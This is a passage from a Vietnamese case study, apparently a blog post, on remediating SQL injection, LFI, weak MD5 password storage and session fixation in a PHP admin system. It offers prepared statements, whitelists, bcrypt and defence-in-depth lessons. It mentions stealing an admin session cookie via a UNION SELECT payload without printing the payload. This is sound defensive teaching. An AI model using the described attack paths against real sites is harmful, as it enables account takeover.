Giải pháp đúng: Prepared Statements (PDO/MySQLi) — thay vì ghép chuỗi, truyền dữ liệu và SQL riêng biệt để database engine tự xử lý:
// Chuẩn mực bảo mật hiện tại:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = md5(?)");
$stmt->execute([$username, $password]);
Lý do chưa thực hiện ngay: phạm vi thay đổi lớn, cần kiểm tra cả 17 cột của bảng users và toàn bộ các file có câu SQL. Đang lên kế hoạch thực hiện trên môi trường staging trước.
② $com chưa có whitelist
Sau khi đổi sang $_GET['com'], giá trị $com vẫn chỉ qua addslashes() rồi dùng để điều hướng. Nếu $com được đưa vào include(), có nguy cơ Local File Inclusion (LFI).
Giải pháp:
// Whitelist cứng — chỉ chấp nhận giá trị đã biết trước:
$allowed = ['donhang', 'thanhvien', 'baocao', ...];
$com = in_array($_GET['com'], $allowed) ? $_GET['com'] : '';
③ MD5 là thuật toán băm mật khẩu đã lỗi thời
Hệ thống đang lưu mật khẩu dạng MD5 thuần (không có salt). Các rainbow table hiện tại có thể crack hầu hết mật khẩu thông thường trong vài giây. Nếu database bị dump, mật khẩu Admin coi như lộ hoàn toàn.
Giải pháp:
// Chuẩn mực tối thiểu hiện nay:
$hash = password_hash($password, PASSWORD_BCRYPT); // Lưu
$ok = password_verify($input, $hash); // Kiểm tra
④ Session chưa được tái tạo sau đăng nhập
Trong quá trình tấn công, mình đã trích xuất được PHPSESSID (Cookie phiên quản trị) qua payload UNION SELECT. Nếu Session ID không đổi sau khi đăng nhập thành công, attacker có thể thực hiện Session Fixation — cố định session ID trước rồi chờ Admin đăng nhập vào.
Giải pháp: Gọi session_regenerate_id(true) ngay sau khi xác thực thành công — tạo Session ID mới, vô hiệu hóa session cũ.
Phần 7: Bài học rút ra — Nguyên nhân gốc rễ và tư duy phòng thủ
Một nguyên nhân gốc rễ cho cả ba lỗ hổng
Điều thú vị khi nhìn lại: cả SQL Injection, HTTP Verb Tampering, lẫn XSS Reflected đều xuất phát từ một nguyên nhân chung duy nhất:
Tin tưởng và sử dụng dữ liệu do người dùng nhập vào mà không kiểm tra, lọc, hay mã hóa.
Đây là lỗi #1 trong OWASP Top 10 (A03: Injection) — phổ biến nhất và nguy hiểm nhất trong ứng dụng web suốt nhiều năm qua.
Tư duy phòng thủ theo lớp (Defense in Depth)
Không có giải pháp bảo mật đơn lẻ nào là đủ. Bảo mật tốt là nhiều lớp cản trở — ngay cả khi một lớp bị vượt qua, lớp tiếp theo vẫn bảo vệ hệ thống:
Tầng Server → .htaccess: chặn HTTP methods lạ, ẩn error logs
Tầng Ứng dụng → Prepared Statements + Input Validation + whitelist
Tầng Xác thực → bcrypt + session_regenerate_id()
Tầng Output → htmlspecialchars() + Content Security Policy
Tầng Mạng → WAF + HTTPS/HSTS + HttpOnly/Secure cookies
6 quy tắc vàng cho Developer — Rút ra trực tiếp từ case này
- Không bao giờ nối chuỗi trực tiếp vào SQL — luôn dùng Prepared Statements (PDO/MySQLi)
- Không dùng $_REQUEST — dùng $_GET hoặc $_POST tường minh, cụ thể cho từng endpoint
- Không in trực tiếp dữ liệu người dùng lên HTML — luôn qua htmlspecialchars($val, ENT_QUOTES, 'UTF-8')
- Không lưu mật khẩu dạng MD5 thuần — dùng password_hash() với bcrypt
- Không để lộ lỗi SQL/PHP ra màn hình production — log nội bộ, hiển thị thông báo chung chung
- Luôn gọi session_regenerate_id(true) sau đăng nhập thành công
Lời kết
Case study này dạy mình một điều quan trọng hơn bất kỳ kỹ thuật cụ thể nào: giá trị thực sự nằm ở quá trình hiểu, không phải quá trình vá.
Nếu mình chỉ copy bản vá từ báo cáo của bug hunter, mình sẽ không phát hiện ra lỗ hổng XSS Reflected thứ ba. Mình sẽ không hiểu tại sao ORDER BY đơn giản lại nguy hiểm hơn UNION SELECT phức tạp trong context này. Mình sẽ không nhận ra rằng addslashes() không phải giải pháp triệt để.
Nếu anh chị em sau này gặp tình huống tương tự — dù là developer đang review code, sysadmin nhận được báo cáo lỗ hổng, hay bạn mới học bảo mật — hãy dành thêm thời gian để hiểu tại sao thay vì chỉ làm như thế nào. Sự khác biệt đó là khoảng cách giữa vá đúng chỗ và chỉ che đi triệu chứng.
Nếu có câu hỏi hay muốn trao đổi thêm về bất kỳ phần nào, mình rất vui được thảo luận trong phần bình luận. Cộng đồng mạnh vì mọi người sẵn lòng chia sẻ! 🤝